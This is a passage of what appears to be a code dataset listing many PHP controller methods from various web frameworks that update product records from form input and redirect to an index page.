$productNetPrice=$request->input('productNetPrice');\n $productQuntity=$request->input('productQuntity');\n $productUnit=$request->input('productUnit');\n $productTotalPrice=$request->input('productTotalPrice');\n\n $product = Product::find($id) ;\n $product->category_id=$category_id;\n $product->productCode=$productCode;\n $product->productName=$productName;\n $product->productDescription=$productDescription;\n $product->productNetPrice=$productNetPrice;\n $product->productQuntity=$productQuntity;\n $product->productUnit=$productUnit;\n $product->productTotalPrice=$productTotalPrice;\n $product->save();\n\n\n return redirect ('/adminpanel/products');\n\n\n }", "public function actionUpdate($id)\r\n {\r\n // Access check\r\n self::checkAdmin();\r\n\r\n // Get the list of categories for the drop-down list\r\n $categoriesList = Category::getCategoriesListAdmin();\r\n\r\n // We receive data on a specific order\r\n $product = Product::getProductById($id);\r\n\r\n // Form processing\r\n if (isset($_POST['submit'])) {\r\n // If the form is submitted\r\n // Get data from the edit form. Validate values if necessary.\r\n $options['name'] = $_POST['name'];\r\n $options['code'] = $_POST['code'];\r\n $options['price'] = $_POST['price'];\r\n $options['category_id'] = $_POST['category_id'];\r\n $options['brand'] = $_POST['brand'];\r\n $options['availability'] = $_POST['availability'];\r\n $options['description'] = $_POST['description'];\r\n $options['is_new'] = $_POST['is_new'];\r\n $options['is_recommended'] = $_POST['is_recommended'];\r\n $options['status'] = $_POST['status'];\r\n\r\n // Save changes\r\n if (Product::updateProductById($id, $options)) {\r\n\r\n\r\n // If the record is saved\r\n // Check if the image is loaded through the form\r\n if (is_uploaded_file($_FILES[\"image\"][\"tmp_name\"])) {\r\n\r\n // If downloaded, move it to the desired folder, give a new name\r\n move_uploaded_file($_FILES[\"image\"][\"tmp_name\"], $_SERVER['DOCUMENT_ROOT'] . \"/upload/images/products/{$id}.jpg\");\r\n }\r\n }\r\n\r\n // Redirecting the user to the product management page\r\n header(\"Location: /admin/product\");\r\n }\r\n\r\n //Connect the view\r\n require_once(ROOT . '/views/admin_product/update.php');\r\n return true;\r\n }", "public function update()\n {\n $category = ProductCategory::find( Input::get('id') );\n $category->name = Input::get('name');\n if( $category->save() ){\n return Redirect::to( route('Products::index') )->withFlash_message([\n \"msg\" => \"Product category has been updated successfully.\",\n \"type\" => \"info\"\n ]);\n }\n return false;\n }", "function edit($id)\n { \n // check if the product exists before trying to edit it\n $data['product'] = $this->Product_model->get_product($id);\n \n if(isset($data['product']['id']))\n {\n $this->load->library('form_validation');\n\n\t\t\t$this->form_validation->set_rules('categorie','Categorie','max_length[100]');\n\t\t\t$this->form_validation->set_rules('names','Names','max_length[500]');\n\t\t\n\t\t\tif($this->form_validation->run()) \n { \n $params = array(\n\t\t\t\t\t'categorie' => $this->input->post('categorie'),\n\t\t\t\t\t'names' => $this->input->post('names'),\n\t\t\t\t\t'price' => $this->input->post('price'),\n\t\t\t\t\t'discount' => $this->input->post('discount'),\n\t\t\t\t\t'stock' => $this->input->post('stock'),\n\t\t\t\t\t'enabled' => $this->input->post('enabled'),\n\t\t\t\t\t//'date_created' => $this->input->post('date_created'),\n\t\t\t\t\t//'date_update' => $this->input->post('date_update'),\n\t\t\t\t\t'description' => $this->input->post('description'),\n 'date_update' => date('Y-m-d H:i:s')\n );\n\n $this->Product_model->update_product($id,$params); \n redirect('product/index');\n }\n else\n {\n\t\t\t\t$this->load->model('User_model');\n\t\t\t\t$data['all_users'] = $this->User_model->get_all_users();\n\n $data['_view'] = 'product/edit';\n $this->load->view('layouts/main',$data);\n }\n }\n else\n show_error('The product you are trying to edit does not exist.');\n }", "public function update_post()\n {\n\t\t$product_id = $this->post('product_id');\n\t\t$name = $this->post('name');\n $sku = $this->post('sku');\n $category = $this->post('category');\n $price = $this->post('price');\n\n\n\t\t$productData = array(\n 'name' => $name,\n 'sku' => $sku,\n 'category' => $category,\n 'price' => $price, \n );\n\t\n\t\t$this->db->where('id', $product_id);\n\t\t$this->db->update('products', $productData);\n\t\t$this->response([\n\t\t\t'status' => true,\n\t\t\t'message' => \"Update product details successfully\",\n\t\t], Restserver\\Libraries\\REST_Controller_Definitions::HTTP_CREATED); // CREATED (201) being the HTTP response code\n\t\texit;\n\t}", "public function update(Product $product, CreateProductRequest $request)\n\t{\n\t\t$product->fill($request->all())->save();\n\t\t\n\t\treturn redirect()->route('product.index');\n\t}", "public function update()\n {\n\t $dataArr = array(\n\t\t'id' => $this->input->post('id'),\n\t\t'paper_code' => $this->input->post('paper_code'),\n\t\t'subject' => $this->input->post('subject'),\n\t\t'min_marks' => $this->input->post('min_marks'),\n\t\t'max_marks' => $this->input->post('max_marks')\n\t\t);\n\t $SetUp=new SetUpModel;\n $SetUp->update_product($dataArr);\n redirect(base_url('index.php/SetUp'));\n }", "public function update($id)\n {\n $products=new DashboardModal;;\n $products->update_product($id);\n redirect(base_url('LoginDashboard'));\n }", "public function update(Request $request, Product $product)\n {\n $product->update($request->all());\n return \\redirect('/products');\n }", "public function update(ProductUpdate $request, $id)\n {\n $product = Product::find($id);\n $product->name = $request->input('name', 'Sin Nombre');\n $product->save();\n\n return redirect()->route('product.index');\n }", "public function update(Request $request,$id){\n\n $product = product::find($id)->update($request->all());\n return redirect(route('dashboard.product.show'));\n }", "public function actionUpdate($id)\n\t{\n\t\t$baseScriptUrl = Yii::app()->assetManager->publish(dirname(__file__) . '/../assets');\n\t\tYii::app()->getClientScript()->registerCssFile($baseScriptUrl . '/products.css');\n\n\t\t$model = $this->loadModel($id);\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif (isset($_POST['ProductItem'])) {\n\t\t\t$model->attributes = $_POST['ProductItem'];\n\t\t\tif (isset($_POST['ProductItem']['categories']))\n\t\t\t\t$model->categories = implode(',', $_POST['ProductItem']['categories']);\n\n\t\t\t$fileUpload = CUploadedFile::getInstance($model, 'image');\n\t\t\tif (isset($fileUpload) && $model->validate()) {\n\t\t\t\t$uploadPath = YiiBase::getPathOfAlias('webroot') . '/files/products'; //Yii::app()->basePath . '/../jlwebroot/upload';\n\n\t\t\t\tif (!is_dir($uploadPath)) {\n\t\t\t\t\t@mkdir($uploadPath);\n\t\t\t\t\t@chmod($uploadPath, 0777);\n\t\t\t\t}\n\n\t\t\t\t// Delete old image\n\t\t\t\tif ($model->image) {\n\t\t\t\t\t@unlink($uploadPath . '/' . $model->image);\n\t\t\t\t\t@unlink($uploadPath . '/thumb_' . $model->image);\n\t\t\t\t}\n\n\t\t\t\t$filename = time() . mt_rand(0, 0xfff) . '.' . $fileUpload->getExtensionName();\n\t\t\t\t$fileUpload->saveAs($uploadPath . '/' . $filename);\n\n\t\t\t\t/**\n\t\t\t\t * @todo chưa có setting cho thumbnail \n\t\t\t\t * */\n\n\t\t\t\t// thumbnails image\n\t\t\t\t$thumbsPath = $uploadPath;\n\t\t\t\tYii::import(\"ext.EPhpThumb.EPhpThumb\");\n\t\t\t\t$thumb = new EPhpThumb();\n\t\t\t\t$thumb->init(); //this is needed\n\t\t\t\t$thumb->create($uploadPath . '/' . $filename)\n\t\t\t\t\t ->adaptiveResize(Yii::app()->getModule('products')->widthThumb, Yii::app()->getModule('products')->heightThumb)\n\t\t\t\t\t ->save($thumbsPath . '/thumb_' . $filename);\n\n\t\t\t\t$model->image = $filename;\n\t\t\t}\n\n\t\t\tif ($model->validate() && $model->removeImage && $model->image) {\n\t\t\t\t// Delete old image\n\t\t\t\tif ($model->image) {\n\t\t\t\t\t@unlink($uploadPath . '/' . $model->image);\n\t\t\t\t\t@unlink($uploadPath . '/thumb_' . $model->image);\n\t\t\t\t}\n\t\t\t\t$model->image = '';\n\t\t\t}\n\n\t\t\t$model->modified = date('Y-m-d H:i:s', time());\n\n\t\t\tif ($model->save())\n\t\t\t\t$this->redirect(array('admin'));\n\t\t}\n\n\t\t$categories = ProductCategory::model()->roots()->findAll();\n\n\t\t$this->render('form', array('model' => $model, 'categories' => $categories));\n\t}", "public function update(Request $request, Product $product)\n {\n request()->validate([\n 'name' => 'required',\n 'detail' => 'required',\n ]);\n\n $product->update($request->all());\n\n return redirect()->route('products.index')\n ->with('success','Product updated successfully');\n }", "public function update(ProductFormRequest $request, $id)\n {\n $dataForm = $request->all();\n\n $dataForm['active'] = (!isset($dataForm['active']) ) ? 0 : $dataForm['active'];\n\n $dados_prod = $this->product->find($id);\n \n $update = $dados_prod->update($dataForm);\n \n if($update)\n return redirect()->route('produtos.index');\n else\n return redirect()->route('produtos.edit', $id)->with(['errors' => 'Falha ao Editar!']);\n }", "public function update(SaveProductRequest $request, Product $product)\n {\n $product->fill($request->all());\n $product->direccion= str_slug($request->get('nombre'));\n $product->visible = $request->has('visible') ? 1 : 0;\n\n $updated = $product->save();\n\n $message = $updated ? 'Producto actualizado correctamente!' : 'El Producto NO pudo actualizarse!';\n\n return redirect()->route('admin.product.index')->with('message', $message);\n }", "public function update(Product $product, ProductStoreOrUpdateRequest $request)\n {\n $this->products->update($product, $request->all());\n return redirect()->route(env('APP_BACKEND_PREFIX').'.products.index')->withFlashSuccess('更新成功');\n }", "public function update(ProductRequest $request, $id)\n {\n ModelsModelProduct::where(['id'=>$id])->update([\n 'name'=>$request->name,\n 'description'=>$request->description,\n 'category'=>$request->category,\n 'price'=>$request->price,\n 'qnt'=>$request->qnt,\n ]);\n return redirect('products'); }", "public function update(Request $request, Product $product)\n {\n request()->validate([\n 'name' => 'required',\n 'detail' => 'required',\n ]);\n\n\n $product->update($request->all());\n\n\n return redirect()->route('products.index')\n ->with('success','Product updated successfully');\n }", "public function update($id)\n\t{\n\t\t$product = \\App\\Models\\Product::find($id);\n\t\t$product->fill(\\Input::all());\n\t\t$product->save();\n\n\t\t\\Session::flash('success', 'מוצר שונה בהצלחה');\n\t\treturn \\Redirect::back();\n\t}", "public function update(UpdateProductRequest $request, $id)\n {\n $response = self::updateProduct($id, $request);\n\n return $response ? redirect()->route('product.index')\n ->with('success','El producto se actualizó con éxito')\n : redirect()->back()->with('error','Sucedió un error, el producto no se actualizó');\n }", "public function update(Product $product)\n {\n $this->authorize('update', $product);\n\n $this->validate(request(), [\n 'description' => 'required|string',\n 'cost_price' => 'required|numeric|min:0',\n 'retail_price' => 'required|numeric|min:0',\n 'recommended_selling_price' => 'required|numeric|min:0',\n ]);\n\n $product->update(request()->all());\n\n notify()->flash('Product has been updated!', 'success');\n return redirect()->action('ProductsController@show', $product);\n }", "public function update(Request $request, Product $product)\n {\n $product->name = $request->name;\n $product->unitprice = $request->unitprice;\n $product->description = $request->description;\n $product->provider_id = $request->provider_id;\n\n $product->save();\n\n return redirect()->route('products.index');\n }", "public function update(ProductFormRequest $request, $id)\n {\n $dataForm = $request->all();\n \n $product = $this->product->find($id);\n\n $update = $product->update($dataForm);\n\n if ($update)\n return redirect()->route('produtos.index');\n else\n return redirect()->back();\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n $image = $model->image;\n\n if ($model->load(Yii::$app->request->post())) {\n $rnd = rand(0,9999);\n $link_images = 'uploads/products/'.date(\"Ymd\").'/';\n $uploadedFile = UploadedFile::getInstance($model, 'image');\n if(!empty($uploadedFile)) {\n $fileName = \"{$rnd}-{$uploadedFile}\";\n $model->image = $link_images.$fileName;\n }\n else{\n $model->image = $image;\n }\n\n $model->updated_by = \\Yii::$app->user->id;\n $model->updated = date('Y-m-d H:i:s');\n if ($model->save()){\n if ($model->image && $model->validate()) {\n if(!empty($uploadedFile)){\n $uploadedFile->saveAs(Yii::$app->basePath.'/web/'.$link_images.$fileName);\n }\n }\n\n ProductCategories::deleteAll(\n \"product_id = :product_id\",\n array(':product_id' => $model->id)\n );\n $cats = isset($_POST['Products']['category'])?$_POST['Products']['category']:[];\n if( count($cats) > 0 ){\n foreach ($cats as $cat_id){\n $cat = new ProductCategories();\n $cat->product_id = $model->id;\n $cat->category_id = $cat_id;\n if( $cat->save() )\n \\Yii::$app->session->setFlash('SuccessAddCategories','Add categories success!');\n else{\n print_r($cat->getErrors());\n exit;\n }\n }\n }\n\n ProductManufacturers::deleteAll(\n \"product_id = :product_id\",\n array(':product_id' => $model->id)\n );\n $manu = isset($_POST['Products']['manufacturer'])?$_POST['Products']['manufacturer']:[];\n if (count($manu) > 0){\n foreach ($manu as $manu_id){\n $cat = new ProductManufacturers();\n $cat->product_id = $model->id;\n $cat->manufacturers_id = $manu_id;\n if ($cat->save())\n \\Yii::$app->session->setFlash('SuccessAddManufacturer','Add Manufacturer success!');\n else{\n print_r($cat->getErrors());\n exit;\n }\n } \n } \n\n ProductTags::deleteAll(\n \"product_id = :product_id\",\n array(':product_id' => $model->id)\n );\n $tags = isset($_POST['Products']['tags'])?$_POST['Products']['tags']:[];\n if( count($tags) > 0 ){\n foreach ($tags as $tag){\n $check = Tags::find()->where('id =:id',[':id'=>$tag])->one();\n if ($check) {\n $check->updated = date('Y-m-d H:i:s');\n if ($check->save()) {\n $productTags = new ProductTags();\n $productTags->product_id = $model->id;\n $productTags->tag_id = $check->id;\n $productTags->created = date('Y-m-d H:i:s');\n $productTags->updated = date('Y-m-d H:i:s');\n $productTags->save();\n }\n else{\n print_r($check->getErrors());\n exit;\n }\n }\n else {\n $model_tag = new Tags(); \n $model_tag->name = $tag;\n $model_tag->slug = \\Yii::$app->func->makeAlias($tag);\n $model_tag->total = 1;\n $model_tag->created = date('Y-m-d H:i:s');\n $model_tag->updated = date('Y-m-d H:i:s');\n if ($model_tag->save()){\n $productTags = new ProductTags();\n $productTags->product_id = $model->id;\n $productTags->tag_id = $model_tag->id;\n $productTags->created = date('Y-m-d H:i:s');\n $productTags->updated = date('Y-m-d H:i:s');\n $productTags->save();\n }\n else{\n print_r($model_tag->getErrors());\n exit;\n }\n }\n \n } \n } \n\n return $this->redirect(['view', 'id' => $model->id]);\n }\n else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n } \n } else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }", "public function update(Request $request, $id)\n {\n \n \n $products = Products::find($id);\n\n \n $products->title = $request->title;\n $products->description = $request->description;\n $products->slug = 1;\n $products->quantity = $request->quantity;\n $products->status = 1;\n $products->price = $request->price;\n $products->offer_price = $request->offer_price;\n $products->save();\n\n return redirect()->route('product.index');\n \n }", "public function update(Request $request)\n {\n $product = Product::find($request->id);\n $product->category_id = $request->category_id;\n $product->name = $request->name;\n $product->model_no = $request->model_no;\n $product->price = $request->price;\n $product->maintenance_period = $request->maintenance_period;\n $product->device_check = $request->device_check;\n $product->sale_check = $request->sale_check;\n $product->save();\n return redirect()->route('product');\n }", "public function update(Request $request, Product $product)\n\n {\n\n $this->validate($request, [\n\n 'name' => 'required',\n\n 'detail' => 'required',\n\n 'price' => 'required',\n\n 'quantity' => 'required',\n\n ]);\n\n \n\n $product->update($request->all());\n\n \n\n return redirect()->route('products.index')\n\n ->with('success','Product updated successfully');\n\n \n\n }", "public function update(Request $request)\n {\n $product = Product::find($request->id);\n $product->name=$request->name;\n $product->quantity=$request->quantity;\n $product->manufacture_date=$request->manufactureDate;\n $product->save();\n Session::flash('message', 'Product is updated successfully!');\n return redirect('/all-products');\n\n }", "public function update(Product $product, UpdateProduct $request)\n {\n try {\n $product->update($request->all());\n\n flash()->success(__(':name has been updated', ['name' => $product->name]));\n } catch (\\Exception $e) {\n flash()->error(__('Error: :msg', ['msg' => $e->getMessage()]));\n\n return redirect()->back()->withInput();\n }\n\n return redirect(route('vanilo.product.index'));\n }", "public function actionUpdate($id)\n\t{\n\t\t$model=$this->loadModel($id);\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Productos']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Productos'];\n $modelOld= Productos::model()->findByPK($model->id);\n\t\t\tif($model->save() )\n {\n $objBitacora = new Bitacora();\n ($modelOld->nombre != $model->nombre) ? $objBitacora->setMovimiento('EDITAR','Productos','nombre',$model->id,$modelOld->nombre,4) : false;\n ($modelOld->cantidadInicial != $model->cantidadInicial) ? $objBitacora->setMovimiento('EDITAR','Productos','cantidadInicial',$model->id,$modelOld->cantidadInicial,4) : false;\n ($modelOld->existencias != $model->existencias) ? $objBitacora->setMovimiento('EDITAR','Productos','existencias',$model->id,$modelOld->existencias,4) : false;\n ($modelOld->caducidad != $model->caducidad) ? $objBitacora->setMovimiento('EDITAR','Productos','caducidad',$model->id,$modelOld->caducidad,4) : false;\n ($modelOld->precioUnitario != $model->precioUnitario) ? $objBitacora->setMovimiento('EDITAR','Productos','precioUnitario',$model->id,$modelOld->precioUnitario,4) : false;\n ($modelOld->idUnidades != $model->idUnidades) ? $objBitacora->setMovimiento('EDITAR','Productos','idUnidades',$model->id,$modelOld->idUnidades,4) : false;\n Yii::app()->user->setFlash('success',Yii::t('app','Item successfully update'));\n $this->redirect(array('admin'));\n }\n\t\t}\n\n\t\t$this->render('update',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function update(ProductUpdateRequest $request, Product $product) : RedirectResponse\n {\n $product->update($request->only('name', 'art', 'status', 'data'));\n\n return redirect()->route('products.index')\n ->with('success', 'Product updated successfully.');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update_products($prod_id){\n\t\t$where = array('prod_id' => $prod_id );\n \t\t$data['prod_details'] =$this->Product_model->view_prod($where);\n\t\t$data['category'] = $this->get_category();\n\t\tview_loader($data,'seller/update_products');\n\t}", "public function actionUpdate($id) {\n //echo '<pre>'; print_r($_POST);die;\n /*if (substr_count(Yii::app()->session['premission_info']['module_info']['subscribedProduct'], 'U') == 0) {\n Yii::app()->user->setFlash('permission_error', 'You have not permission to access');\n Yii::app()->controller->redirect(\"index.php?r=DashboardPage/index\");\n }*/\n $model = $this->loadModel($id);\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n if (isset($_POST['SubscribedProduct'])) {\n $model->attributes = $_POST['SubscribedProduct'];\n if ($model->save())\n $this->redirect(array('view', 'id' => $model->subscribed_product_id));\n }\n\n $this->render('update', array(\n 'model' => $model,\n ));\n }", "public function actionUpdate()\n {\n\t\t\t$id=7;\n $model = $this->findModel($id);\n $model->slug = \"asuransi\";\n $model->waktu_update = date(\"Y-m-d H:i:s\");\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['update']);\n } else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }", "public function update(ProductRequest $request, Product $product)\n {\n $product->update($request->validated());\n return redirect()->back()->with('success', '更新成功');\n }", "public function update(ProductRequest $request,Product $product)\n {\n $data = $request->only(['name','image','description','detail','price','category_id']);\n\n if($product->update($data)){\n return redirect()->route('admin.product.index');\n }\n return back();\n }", "public function update( $id, Request $request ) {\n\t\tif ( Auth::user()->user_role != 1 ) {\n\t\t\treturn redirect( '/' );\n\t\t}\n\t\t$product1 = Product::where( 'id', $id )->first();\n\t\t$product1->product_name = $request->get( 'product_name' );\n\t\t$product1->product_description = $request->get( 'product_des' );\n\t\t$product1->category_id = $request->get( 'category_id' );\n\t\t$product1->save();\n\n\t\treturn redirect( '/products' );\n\t}", "function update()\n\t{\n\t\t$id = getParameter('id');\n\t\t$name = getParameter('name');\n\t\t$price = getParameter('price');\n\t\t$img = $_FILES['image']['tmp_name'];\n\t\t$image = file_get_contents($img);\n\t\t$quantity = getParameter('quantity');\n\t\t$category = getParameter('category');\n\t\t$brand = getParameter('brand');\n\t\t// if ($category == 'VEST') {\n\t\t// \t$category = 1;\n\t\t// } elseif ($category == 'SƠ MI') {\n\t\t// \t$category = 2;\n\t\t// } elseif ($category == 'CARAVAT') {\n\t\t// \t$category = 3;\n\t\t// } elseif ($category == 'NƠ') {\n\t\t// \t$category = 4;\n\t\t// } elseif ($category == 'KHĂN CÀI VEST') {\n\t\t// \t$category = 5;\n\t\t// } elseif ($category == 'GIÀY DA') {\n\t\t// \t$category = 6;\n\t\t// } elseif ($category == 'ÁO DA') {\n\t\t// \t$category = 7;\n\t\t// } elseif ($category == 'QUẦN ÂU') {\n\t\t// \t$category = 8;\n\t\t// }\n\n\t\t// if ($brand == 'Adam') {\n\t\t// \t$brand = 1;\n\t\t// }\n\n\n\t\t$errors = [];\n\n\t\tif (count($errors > 0)) {\n\t\t\t$this->view->load('product/edit', [\n\t\t\t\t'errors' => $errors\n\t\t\t]);\n\t\t} else {\n\t\t\t$product = $this->model->product->update($id, [\n\t\t\t\t'name' => $name,\n\t\t\t\t'price' => $price,\n\t\t\t\t'image' => $image,\n\t\t\t\t'quantity' => $quantity,\n\t\t\t\t'categories_id' => $category,\n\t\t\t\t'brand' => $brand\n\t\t\t]);\n\n\t\t\tif ($product) {\n\t\t\t\t$this->view->load('product/index');\n\t\t\t} else {\n\t\t\t\t$this->layout->set('auth_layout');\n\t\t\t\t$this->view->load('product/edit', [\n\t\t\t\t\t'error_message' => 'Cập nhật không thành công'\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\t}", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'product_name'=> 'required',\n 'brand'=> 'required',\n 'prod_desc' => 'required',\n 'SKU' => 'required',\n 'category_id' => 'required',\n 'price' => 'required',\n ]);\n\n $product = Product::findOrFail($id);\n\n $product->product_name=$request->input('product_name'); \n $product->slug=Str::of($request->product_name)->slug('-');\n $product->brand=$request->input('brand');\n $product->prod_desc=$request->input('prod_desc');\n $product->SKU=$request->input('SKU');\n $product->video_link=$request->input('video_link');\n $product->price=$request->input('price');\n if($request->input('weightage')) $product->weightage=$request->input('weightage');\n else $product->weightage=1;\n $product->status=1;\n $product->save();\n\n // edit product images\n $this->addimages($request, $product->id);\n\n // edit category details\n //delete old categories\n ProductCategory::where('product_id', $product->id)->delete();\n $this->addcategoris($request, $product->id);\n\n // edit attribute\n // specification, attribute, product_attribute\n ProductAttribute::where('product_id', $product->id)->delete(); \n $this->addattributs($request, $product->id); \n\n flash('Product Updated Successfully!');\n return redirect('/admin/product');\n }", "public function update(ProductCreateRequest $request, $id)\n {\n $product=ProductRepository::update($request,$id);\n return redirect('products/' . $product->id);\n }", "public function update(Request $request,$id)\n {\n\n $request->validate([\n 'name'=>'required',\n 'category'=>'required',\n 'sku'=>'required',\n 'price'=>'required'\n ]);\n//// dd(\"product\");\n//\n// $data=Product::find('id');\n//// dd('data');\n// Product::update($request->all());\n//// dd('Product');\n\n $product = Product::find($id);\n $product->update($request->all());\n\n\n return redirect()->route('product.index');\n }", "public function update(Request $request,$id)\n {\n $product=Product::find($id);\n $product->name=$request->input('name');\n $product->description=$request->input('description');\n $product->price=$request->input('price');\n $product->long_description=$request->input('long_description');\n $product->save();//Update es lo que realizara\n return redirect('/admin/products');\n }", "public function update(Request $request, $id)\n\t{\n\t\t// validate the form\n\t\t$this -> validate($request, [\n\t\t\t'title' => 'required',\n\t\t\t'kategory' => 'required',\n\t\t\t'desc' => 'required',\n\t\t\t'stock' => 'required',\n\t\t\t'price' => 'required',\n\t\t\t'image' => 'required',\n\t\t]);\n\t\t//find the product and update\n\t\t$product = product::find($id);\n\t\t$product->title = $request->title;\n\t\t$product->kategory = $request->kategory;\n\t\t$product->desc = $request->desc;\n\t\t$product->stock = $request->stock;\n\t\t$product->price = $request->price;\n\t\t$product->image = $request->image;\n\t\t$product->slug = str_slug($request->title,'-');\n\t\t$product->save();\n\n\t\treturn redirect('products');\n\t}", "public function updateAction() {\n $model = new Application_Model_Compromisso();\n //passo para a model os dados a serem upados\n $model->update($this->_getAllParams());\n //redireciono para a view\n $this->_redirect('compromisso/index');\n }", "public function update(Request $request)\n {\n $data = request()->validate([\n 'product_id' => 'required',\n 'name' => 'required',\n 'code' => 'required',\n 'price' => 'required',\n ]);\n\n $product = Product::find(request('product_id'));\n \n $product->name = request('name');\n $product->code = request('code');\n $product->price = request('price');\n \n $product->save();\n\n return redirect(route('product.index'))->with('success', 'Product successfully updated');\n \n }", "public function update(ProductRequest $request, $id)\n {\n $this->ProductObj->where(['id'=>$id])->update([\n 'name'=>$request->name,\n 'location'=>$request->location\n ]);\n return redirect('products');\n }", "public function update(UpdateProductRequest $request, Product $product)\n {\n //Input received from the request\n $input = $request->except(['_token']);\n //Update the model using repository update method\n $this->repository->update( $product, $input );\n //return with successfull message\n return redirect()->route('admin.products.index')->withFlashSuccess(trans('alerts.backend.products.updated'));\n }", "public function update(Request $request, Product $products,$id)\n {\n Product::updateProduct($request,$id);\n return redirect('/my_admin/products/')->with('flash_message_success','Հրապարակումը հաջողությամբ խմբագրված է ');\n }", "public function update($id, UpdateProductRequest $request)\n {\n $product = $this->productRepository->findWithoutFail($id);\n\n if (empty($product)) {\n Flash::error($this->BreadCrumbName . ' not found');\n return redirect(route('admin.products.index'));\n }\n\n $product = $this->productRepository->updateRecord($request, $product);\n\n $details = [];\n $details['description'] = $request->description;\n $details['price'] = $request->price;\n ProductDetails::where('product_id', $id)->update($details);\n\n Flash::success($this->BreadCrumbName . ' updated successfully.');\n if (isset($request->continue)) {\n $redirect_to = redirect(route('admin.products.create'));\n } else {\n $redirect_to = redirect(route('admin.products.index'));\n }\n return $redirect_to->with(['title' => $this->BreadCrumbName]);\n }", "public function update(ProductUpdateRequest $request, Product $product)\n {\n /* Product Update */\n if(auth()->user()->can('edit_product')){\n\n $productResult = $product->update([\n 'subcategory_id' => $request->input('sub_category'),\n 'product_name' => $request->input('product_name'),\n 'company_id' => $request->input('company_id'),\n 'sku' => $request->input('sku'),\n 'barcode' => $request->input('barcode'),\n 'base_unit_id' => $request->input('unit_id'),\n 'description' => $request->input('description'),\n 'size' => $request->input('size'),\n 'cost_price' => $request->input('cost_price'),\n 'selling_price' => $request->input('selling_price'),\n 'quantity' => $request->input('quantity'),\n ]);\n /* Check Product Update and toastr message */\n if($productResult){\n Toastr::success('Product Successfully Updated', 'Success');\n return redirect()->route('admin.product.index');\n }\n abort(404);\n }\n abort(403);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $product->name=$request->productname;\n $product->buying_Price=$request->buying_Price;\n $product->selling_Price=$request->selling_Price;\n $product->save();\n return redirect()->route('product.index');\n }", "public function update(ProductRequest $request)\n {\n try {\n $this->productService->update($request->except(['_method', '_token']));\n \\Log::info('Product updated successfully.', [\"created_by\" => \\Auth::user()->id]);\n return redirect('/products')->with('message', 'Product updated successfully.');\n\n } catch (ValidationException $e) {\n \\Log::error('Failed to update product.', [\"ValidationException\" => $e->getMessage()]);\n return redirect()->back()->with('message', $e->getMessage());\n\n } catch (QueryException $e) {\n \\Log::error('Failed to update product.', [\"QueryException\" => $e->getMessage()]);\n return redirect()->back()->with('message', $e->getMessage());\n\n } catch (DBTransactionException $e) {\n \\Log::error('Failed to save product.', [\"Transaction\" => $e->getMessage()]);\n return redirect()->back()->with('message', 'There was a problem updating. Please try again.');\n }\n }", "public function update()\r\n {\r\n\r\n $this->load->helper(array('form'));\r\n\r\n\r\n /* Load form validation library */\r\n\r\n $this->load->library('form_validation');\r\n\r\n\r\n /* Set validation rule for name field in the form */\r\n\r\n $this->form_validation->set_rules('cicdn', 'CICDN', 'required');\r\n\r\n\r\n if ($this->form_validation->run() == FALSE) {\r\n\r\n header(\"Location: {$_SERVER['HTTP_REFERER']}\");\r\n\r\n exit;\r\n\r\n } else {\r\n\r\n $data = $_REQUEST;\r\n\r\n $this->products->change($data);\r\n\r\n redirect('admin/setup/products', 'location', 301);\r\n\r\n }\r\n\r\n }", "public function update(Request $request)\n {\n $this->validate($request, [\n 'tittle' => 'required|min:3',\n 'description' => 'required|min:20',\n //'category_id' => 'required|integer',\n //'sub_category_id' => 'required|integer',\n 'price' => 'required|numeric',\n // 'image' => 'required|mimes:jpg,jpeg,png,gif,bmp'\n ]);\n $product = Product::whereid($request->get('id'))->first();\n $product->tittle = $request->get('tittle');\n $product->description = $request->get('description');\n $product->price = $request->get('price');\n $product->save();\n return redirect('product')\n ->with('message', 'Product has been updated');\n }", "public function update()\r\n\t\t{\r\n\t\t\t//Validate request method\r\n\t\t\tif($this->getRequestMethod() != \"POST\"){\r\n\t\t\t\t$this->methodNotAllowed();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Input validations\r\n\t\t\t$this->validation(array('iProductId'));\r\n\t\t\t\r\n\t\t\t$iProductId = (int)$this->_arrRequest['iProductId'];\r\n\r\n\t\t\tif($iProductId > 0){\r\n\t\t\t\t$sWhere \t\t= \"iProductId = '\".$iProductId.\"'\";\r\n\t\t\t\t$iDeleteStatus \t= $this->deleteRecord($this->_sCartTable,$sWhere);\r\n\t\t\t\t$iStatus \t\t= ($iDeleteStatus>0) ? \"Success\" : \"False\";\r\n\t\t\t\t$sMessage\t\t= ($iDeleteStatus>0) ? \"Cart updated.\" : \"Fail to update.\";\r\n\t\t\t}else{\r\n\t\t\t\t$iStatus = \"False\";\r\n\t\t\t\t$sMessage = \"Invalid input.\";\r\n\t\t\t}\r\n\t\t\t$arrResponse['status']\t= $iStatus;\r\n\t\t\t$arrResponse['message']\t= $sMessage;\r\n\t\t\t$this->response($this->json($arrResponse), 200);\r\n\t\t}", "public function update(ProductFormRequest $request, 